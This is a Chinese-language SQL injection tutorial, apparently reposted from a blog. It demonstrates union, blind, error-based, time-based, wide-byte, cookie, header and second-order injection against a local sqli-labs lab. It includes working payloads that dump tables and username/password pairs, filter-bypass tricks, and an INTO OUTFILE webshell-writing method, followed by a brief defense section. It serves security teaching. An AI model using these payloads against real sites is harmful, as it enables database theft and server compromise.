SQL注入漏洞一览

编程入门 行业动态 更新时间:2024-10-23 12:32:10

SQL注入<a href=https://www.elefans.com/category/jswz/34/1770270.html style=漏洞一览"/>

SQL注入漏洞一览

SQL注入漏洞一览

文章篇幅较大,注意适当放松

学习SQL注入之前你需要

理解Web应用的工作原理

  1. 任何语言编写的Web应用,有一点是相同的:都具有交互性并且多半是数据库驱动的。它们通常都包含一个后台数据库和很多Web页面,页面中包含了使用某种编程语言编写的服务器端脚本,脚本则能够根据Web页面与用户的交互从数据库中提取特定的信息。

    数据库驱动的Web应用通常包含三层:表示层(Web浏览器或呈现引擎),逻辑层(如C#、ASP、NET、PHP、JSP等编程语言)和存储层(如Microsoft SQL Sever、MySQL、Oracle等数据库)

    过程:浏览器发送请求、中间层通过查询、更新数据库来响应请求

  2. 再看看更复杂的结构

学习SQL语言

基本的SQL语句用法,可以先不去学如何设计数据库,但是最好掌握。这部分就不详细写了,列几个目标和参考链接

目标:增删改查

查询语句,数据过滤,数据处理函数,聚集函数,子查询,联合表,插入,更新,删除等等。

参考

SQL语法

什么是SQL注入

概念理解

提供几种理解方式

  1. 将SQL代码添加到输入参数中,产地到服务器解析并执行的一种手法,注入攻击是输入参数未经过滤,然后直接拼接到SQL语句当中解析,执行达到预想之外的一种行为,间接的攻击方式是将恶意代码插入字符串中,之后再将这些字符串保存到数据库的数据表中或将其当
    作元数据。当将存储的字符串置入动态SQL命令中时,恶意代码就将被执行。
  2. SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数的攻击,之后再将参数传递给后台的SQL服务器加以解析并执行
  3. 应用后台数据库传递SQL查询是,如果为攻击者提供了影响该查询的能力,就会引发SQL注入攻击,攻击者通过影响传递给数据库的内容来修改SQL自身的语法和功能,并且会影响SQL所支持数据库和操作系统的功能和灵活性
  4. SQL注入是一种通过操纵输入来修改后台SQL语句以达到利用代码进行攻击目的
    的技术。

通俗理解


代码理解

先理解sql的逻辑顺序

以万能密码为例

查询语句

Select * from admin where username= 'admin' and password='admin'

我们可以用or 1=1#作为密码输入。原因是为什么?
这里涉及到一个逻辑运算,当使用上述所谓的万能密码后,构成的sql语句为:
Select * from admin where username=’ admin’ and password=’’or 1=1#’
Explain:上面的这个语句执行后,我们在不知道密码的情况下就登录到了admin 用户了。原因是在where子句后,我们可以看到三个条件语句username=' admin' and password='’ or 1=1。 三个条件用and和or进行连接。在sql中,我们and的运算优先级大于or的元算优先级。因此可以看到第一个条件(用a表示)是真的,第二个条件(用b表示)是假的,a and b = false,第一个条件和第二个条件执行and后是假,再与第三个条件or运算,因为第三个条件1=1是恒成立的,所以结果自然就为真了。因此上述的语句就是恒真了。

以常用代码为例

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们在id位置注入

Id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交’or1=1–+, 直接构
造的sql语句就是
SELECT * FROM users WHERE id=’ 1’or 1=1–+ LIMIT 0,1
这条语句因or 1=1所以为永恒真。.

掌握常用数据库

MySQL

我把这部分重点都放在了这,其他的数据库也差不多,初学的朋友都是从这开始的,然后又免费。

常用函数

系统函数
  1. 系统用户名 system_user()

  2. 用户名 user()

  3. 当前用户名 current_user()

  4. 连接数据库的用户名 session_user()

  5. MySQL数据库版本 version()

  6. 转成16进制或者是10进制MySQL读取本地文件的函数 load_file()

  7. 数据库名 database()

  8. 读取数据库路径@@datadir

  9. MySQL安装路径@@basedir

  10. 操作系统@@version_compile_os

字符串连接函数
  1. concat(str1,str2…):没有分隔符地链接字符串
  2. concat_ws(separator,str1,str2…):含有分隔符
  3. group_caoncat():连接一个组的所有字符串,并以逗号分隔每一条数据

MySQL注入相关的知识点

  • 5.0版本后默认在数据库中存放一个"information_schema"数据库,在该库中,记住三个表名
  1. SCHEMATA:存储用户创建的所有数据库的库名,需要记住的字段名为SCHEMA_NAME
  2. TABLES:存储用户创建的所有数据库的库名和表名,需要记住的表名有TABLE_SCHEMA和TABLE_NAME
  3. COLUMNS:存储用户创建的数据库库名,表名和字段名,需要记住TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME

注入分类

原理+部分代码演示(假定id参数都以’闭合)

简单分类

数字型

输入的参数是整数

  • 满足条件
  1. 参数用户可控: 前段传给后端的参数内容是用户可以控制的
  2. 参数代入数据库查询:传入的参数拼接到SQL语句中,且带入数据库查询

常用判断方法:
假设有URL为.php?id=8
猜想有SQL语句
select * from table where id=8

  1. 末尾加’(单引号) 报错
  2. 末尾加and 1=1 无差异执行
  3. 末尾加and 1=2 报错
    若满足以上条件则可能存在注入漏洞

该漏洞多出现ssdas等弱类型语言(自动推导变量类型)

MySQL中可以从数字运算这一特征来判断是否是数字型注入,如id=1id=3-2显示页面一样

字符型

输入参数为字符串

  • 例子(以单引号为例)
  1. select * from table where username = 'admin'
    注意:
    闭合单引号以及多余注释多余的代码注入方法,如:
    输入admin'(闭合)and 1=1 --(注释后面的内容)
  2. update person set password='password' where id=1
    注入方法:在password处加入'(闭合第一个引号)+(select @@version)+'(闭合第二个引号)

MySQL中,等号两边不一致会发生强制转换,数字与字符串比较时,字符串将被转换为数字如’1a‘=1,a=0
注意 数据库连接符SQL Sever “+”,Oracle “||”,MySQL “空格”

更详细的分类

先放个两张图,做个大致了解和参考,后面的内容不全按照这个分类哦!

图一

图二

联合查询注入

union注入攻击

大致流程

以Sql-labs lesss-1为例

在id=1处添加一个‘,会触发报错

从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’ 。

这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何 将多余的 ‘ 去掉呢?

尝试 ‘or 1=1--+

此时构造的 sql 语句就成了 Select ***from*** where id='1'or 1=1--+' LIMIT 0,1

可以看到返回了正常的数据

这说明是存在注入的,那么接下来应该测注入字段的个数

这里利用用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。如 ‘order by 4–+的结果显示结果超出,实际应用中可以从小到大开始测试。

好了,既然是union联合查询注入,那么介绍一下union

union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。Union all 与 union 的区别是增加了去重的功能

接下来要做的就是找出可注入的字段,我们已经知道存在3个字段了,那么如何找出可注入的呢?构造如下语句

?id=-1'union select 1,2,3--+

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1或者一个很大的数,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空无法被查询,我们这里就将后面的语句的内容显示出来。)此处前台页面返回了我们构造的 union 的数据。

这里看出2和3是能注入数据的

来试一试

构造http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,user(),database()--+

我们可以看到查出来了用户和数据库名字

然后就可以爆数据库了

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+

这里limit0,1 表示从第一个开始返回一个数据(0代表从1开始)limit1,1即表示从第二个开始返回一个

当然有更好的方式,即用上前面说过的函数group_concat()

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

获取表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

获取字段名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获取字段内容

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

基本流程大致就是这样了。

盲注

盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。我们需要判断正常页面和异常之间的差异

布尔注入
截取字符串常用函数
  1. mid()

    MID(column_name,start[,length]),起始值为1

  2. substr()

    substr(string, start, length),起始值也为1

  3. left()

    Left (string, n) ,得到字符串左部指定个数的字符

  4. ord(返回第一个字符的ASCII码)

    一般和其他函数一起使用,如ord(mid(database(),1,1))>114,意为检测database的第一位ASCII是否大于114

  5. ascii() 和ord函数相似,返回ASCII码

常用截取函数

正则注入

利用regexp和like匹配正则表达式来加快速度

通过 if 语句的条件判断,返回一些条件句,比如 if 等构造一个判断。根据返回结果是否等 于 0 或者 1 进行判断。正确时显示1,不正确则显示0。
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security’ and table_name regexp ‘^us[a-z]’ limit 0,1);
这里利用 select 构造了一个判断语句。

大致流程

这里以sql-labs的Less-5为例子

从源代码中可以 看到,运行返回结果正确的时候只返回 you are in....,不会返回数据库当中的信息了

  1. 首先判断数据库名的长度
    http://127.0.0.1/sqli-labs/Less-5/?id=1'and length(database())=8 --+

  1. 接着来找出数据库名,逐字符判断方式,

    http://127.0.0.1/sqli-labs/Less-5/?id=1'and left(database(),1)='a' --+

这说明名字第一位不是a,那么继续直到为s才正确

说明第一位是s

当然我们可以使用二分法来判断,加快我们的速度,如

http://127.0.0.1/sqli-labs/Less-5/?id=1'and left(database(),1)>'a' --+

确定了首位就可以猜测第二位,第三位了,示例

http://127.0.0.1/sqli-labs/Less-5/?id=1'and left(database(),2)='se' --+

  1. 查询表名

    数据库名为security

    先看看表的结构,后面不会完整测试。

先查表名长度
http://127.0.0.1/sqli-labs/Less-5/?id=1'and length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))=6 --+

数据库第一个表为emails,所以长度为6时返回正确

然后再逐字符查,这里我们换个函数substr()
http://127.0.0.1/sqli-labs/Less-5/?id=1'and substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e' --+

获取第二个字符,这次我们加上ascii()函数

http://127.0.0.1/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),2,1))=109 --+

试试获取第二个表,这次呢再换一个函数ord()+mid()

将limit 0,1改为limit 1,1即可

http://127.0.0.1/sqli-labs/Less-5/?id=1'and ord(mid((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1,1))=114 --+

由于第二个表是referers,所以第一位为r,ascii码为114

对了之前还需要获取它长度哦!

剩下的步骤就不赘述了,原理已经很清楚了

  1. 查询字段名

    这里我们直接查询users表的吧,users里大概会有什么呢?大致猜得到可能会有id,username,password

    也可以使用前面的方法,这里使用regexp正则表达式试试。

    http://127.0.0.1/sqli-labs/less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+

    这里是匹配开头有us的字符串

那么可以猜测有username了

http://127.0.0.1/sqli-labs/less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

表的内容如下

  1. 获取内容

    http://127.0.0.1/sqli-labs/less-5/?id=1'and mid((select username from users where id = 1),1,1) = 'D' --+

    综合利用以上,就能查出内容了!

报错注入

CTF的12个sql注入报错方式

报错函数
  1. floor型

    MYSQL临时表介绍

    原理剖析(较略)

    原理剖析(深入研究报错原理)

  • 报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果

  • 主要原因是在rand()和group by同时适用到的时候,可能会产生超出预期的结果,即会多次对同一列进行查询

  • 构造payload让信息通过错误提示回显出来

  • 具体原理

    select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a floor(rand(0)*2))a from information_schema.columns group by a;

    select 1 from(select count(*),concat(0x7e,database(),0x7e,user(),0x7e,floor(rand(0)*2))x from information_schema.columns group by x)a

    函数解析
    count()统计原组的个数,对表中记录数计数,相当于统计行数。

    0x3a 是ASCII码 转化为 :

    floor() 取float的整数值,产生小于或等于指定值(value)的最小整数。

    rand()取0~1之间的随机浮点值
    当使用一个整数参数时,rand使用该参数作为种子生成一个固定的伪随机数列

a 为as a别名的简写方式

floor(rand()*2):rand为01,rand()*2为02,则结果是取0,1,2三个数字,为2的几率几乎可以忽略,所以是0,1两个随机数,具有某方面的确定性

floor(rand(0)*2)这个会产生一个固定的序列即011011…

过程解析

上面的语句在查询是会建立一个临时表,查询一条,若临时表没有该key,则插入,若有则计数+1
查询的时候如果使用rand()的话,该值会被计算多次,在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次
由我们上面的句子有
取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表
查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1
查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了
此用法所查询的表至少需要3条数据

count函数详解
语句执行顺序

  1. exp()型
  • 以e为底的对数函数

  • 原理:

    • exp(709),当传递一个大于709的值时会报错
    • 加上语句成功执行返回0,再取反为最大值
  • 语法示例:

    exp(~(select*from(select ‘想执行的语句’)x))

exp溢出注入

  1. XML函数 updatexml()和extractvalue()

相关注入介绍

(1)updatexml 是更新xml文档的函数

  • 语法:UPDATEXML (XML_document, XPath_string, new_value);

    updatexml(目标xml文档,xml路径,更新的内容)

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串)
    xpath教程
    第三个参数:new_value,String格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

  • 注入语句为:

    updatexml(anything,concat(0x7e,(SQL语句),0x7e),anything)
    其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

    注意:它能查询的字符串的最大长度为32,若结果超过32,就需要使用substring()截取

(2)extractvalue() 对文档进行查询

  • 语法:extractvalue(目标文档,xml路径)

  • 原理:第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容

  • 注入语句为:

    extractvalue(‘anything’,concat(0x7e,(SQL语句),0x7e)))

    注意:它同样是32位查询,即一次最多只能查看32位,超过的话就只能使用substring截取了

  1. name_const() 重复报错
  • 语法 name_const(name,value)

  • 原理:函数会用传入的参数返回一列结果集,传入的参数必须是常量,如果不是常量就会报错,报错原因就是因为两列列名相同,外面选择时报错,重复

  • 注入语句为:

    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a

大致流程

还是以Sqli-labs的less-5为例子

(1)获取数据库:floor()

http://127.0.0.1/sqli-labs/less-5/?id=1'union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

(2)获取表:exp()

http://127.0.0.1/sqli-labs/less-5/?id=1'union select (exp(~(select * FROM(select group_concat(table_name) from information_schema.tables where table_schema = 'security')a))),2, 3--+

(3)获取列:extractvalue()

http://127.0.0.1/sqli-labs/less-5/?id=1'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),0x7e)) --+

updatexml()

http://127.0.0.1/sqli-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name = 'users'),0x7e),1) --+

(4)获取数据:

​ 随便使用一个

http://127.0.0.1/sqli-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

时间注入

  1. benchmark()
  • 用来测试一些函数的执行速度

  • 语法:

    benchmark(执行的次数,要执行的表达式)

  • 原理:

    执行的次数不同,执行的时间也就不同,和sleep一样

  1. sleep()

    括号里面是休眠的秒数

    benchmarj()很好资源,所以最好还是使用sleep()

示例

还是上面的例子

需要配合前面的

sleep()

http://127.0.0.1/sqli-labs/less-5/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+

当执行成功的时候会有5秒延迟

benchmark()

示例

?id=1 and if(length(database())=5,(select benchmark(10000000,md5(0x41))),1)

宽字节注入

适用于单引号被转义的情况,当数据库编码为GBK时
宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中%df%5c是繁体的连字,导致成功逃逸单引号
接着按照之前的各种方法继续查询

  1. 判断注入
    id=1%df'and 1=1%23
    id=1%df'and 1=2%23
  2. 查询数据段
    id=1%df'order by xx%23
    假定最终字段数为3
  3. 查询数据库名
    id=1%df'union select 1,database(),3%23
  4. 查询表名
    原语句:select table_name from information_schema.tables where table_name = 'xxx' limit0,1
    但是单引号被转义,所以会报错
    所以使用嵌套查询
    select table_name from information_schema.tables where table_schema =(select database()) limit 0,1
  5. 查询字段名 同理
    select cloumn_name from information_schema.cloumns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (select database()) limit 0,1)limit 0,1

cookie注入

适用于cookie中带有类似于id参数
方法是直接burp抓包,然后修改cookie里的值,在cookie里面拼接sql语句,可使用union注入等

base64注入

适用于参数经过了base64编码,
方法就是将需要查询的sql语句编码为base64再代入即可

XFF注入攻击

在HTTP请求头中有X-Forwarded-For代表真实的IP,通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容。

二次注入攻击

如PHP在开启magic_quotes_gpc后会对特殊字符转义,如把'变为\',
如下列语句
$sql = "insert into message(id,title,content) values (1,'$title','secbug.org')"
现在通过网站插入数据title为secbug'
转义后为secbug\'
但是在数据库中却为secbug'
于是可以通过另一种查询
select id,title,content from message where title='$title'
将第一次插入的title改为' union select 1,@@version 3 --
则又成功注入

SQL注入file导入常用手段

  • 可以直接导入一句话或上传页面 利用函数为into outfile
  • 直接将select内容导入到文件中

Select ***(可以为其他文件,如一句话) into outfile "C:\\***\\***"

  • 修改文件结尾

Into outfile "C:\\***\\***\\text.php" lines terminated by 0x16

SQL绕过方法

关键字绕过

  • 注释符绕过:uni/**/on se/**/lect

  • 大小写绕过:UniOn SeleCt

  • 双关键字绕过:ununionion seselectlect

  • <>绕过:unio<>n sel<>ect(可能是有些网站为了防止xss注入,所以过滤了<>,参照i春秋sql)

  • 对于and,or的绕过其实还可以尝试一下&&,||,异或注入

这里需要注意一点就是or被过滤的时候order,information中的or也被过滤了

特殊字符绕过

  • 对空格的绕过:

    1. 两个空格代替一个,用tab键代替空格
    2. /**/ %20 %09 %0a
    3. 利用空格绕过:很多关键字都可以写成带括号的形式select(),or()
    4. 特殊函数中的空格绕过:ascii(mid(xxfrom(1))) ascii(substr(xxfrom(1)))
  • 对单引号的绕过:

    1. 宽字节 %bf%27 %df%27 %aa%27(争对字符集为GBK时使用

    2. 十六进制绕过(针对需要输入表名的时候 ‘user’=>0x7573657273)

  • 对逗号的绕过:

    1. substr(x,1,1),mid(x,1,1) => substr(x from 1 for 1) mid(x from 1 for 1) limit 0,1=> limit 0 offset 1
    2. join(本身是用来连接两个表单的,所以join一定是要放在from后面放表单的位置):
      union select 1,2 => union select * from (select 1)a join (select 2)b
    3. select case when (条件) then (代码1) else (代码2) end 可以对应上if(条件,代码1,代码2)
      if(substring((select user()) from 1 for 1)='e',sleep(5),1) => select case when substring((select user()) from 1 for 1)='e' then sleep(5) else 1 end
  • 等号的绕过:

    1. 利用<>(即不等于号)绕过
      ?id=' or 1 like 1
    2. 利用like绕过
      ?id=' or 1 <> 1
    3. 利用greatest()绕过(greatest(a,b)返回较大的那个数)
      ?id=' union select greatest(substr((select user()),1,1),95)

其他绕过

  • 编码绕过

    1. 双重url编码:如:?id=1%252f%252aUNION%252f%252aSELECT%252f%252a1,2,password%252f%252aFROM%252f%252a/Users–+
    2. unicode编码:’=> %u0037 %u02b9
      空格=> %u0020 %uff00
      左括号=> %u0028 %uff08
      右括号=> %u0029 %uff09
  • 双写绕过

    anandd,oorr等

  • 大小写绕过

    And,Or等

参考

参考链接1

参考链接2

SQL防御

  • 必须明白一个概念:数据库只负责执行SQL语句,根据SQL语句来返回相关数据,它并没有什么好的方法直接过滤SQL注入

严格的数据类型

  • Java,C# 等强类型语言几乎可以完全忽略数字型注入
  • 而PHP,ASP等弱语言,会根据参数类型自动推导出数据类型
URL:.jsp?id=1
程序代码:int id = Integer.parseInt(request.getParameter("id");
// 接收参数并转换为int类型
News news = newDao.findNewsById(id);

特殊字符转义

  • 原理:在数据库查询的时候,任何字符串都必须加单引号,则攻击者在字符型注入的时候必然会出现单引号等字符
  • 这时只需要判断字符串是否存在敏感字符,若存在,根据响应数据库进行转义
  • 若不知道需要转义哪些字符则可以参考OWASP ESAPI,它提供了专门对数据库字符转码的借口
  • addslashes()、mysql_real_escape()
  • preg_replace()

过滤危险字符

使用预编译语句

框架技术

存储过程

参考

  • 《SQL注入攻击与防御》

  • 《Web安全深度剖析》

  • 《MySQL注入天书》

  • 《基于机器学习的SQL注入漏洞挖掘技术的分析与实现》

  • 参考链接

    参考链接

更多推荐

SQL注入漏洞一览

本文发布于:2023-07-28 15:44:22,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1239277.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   SQL

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!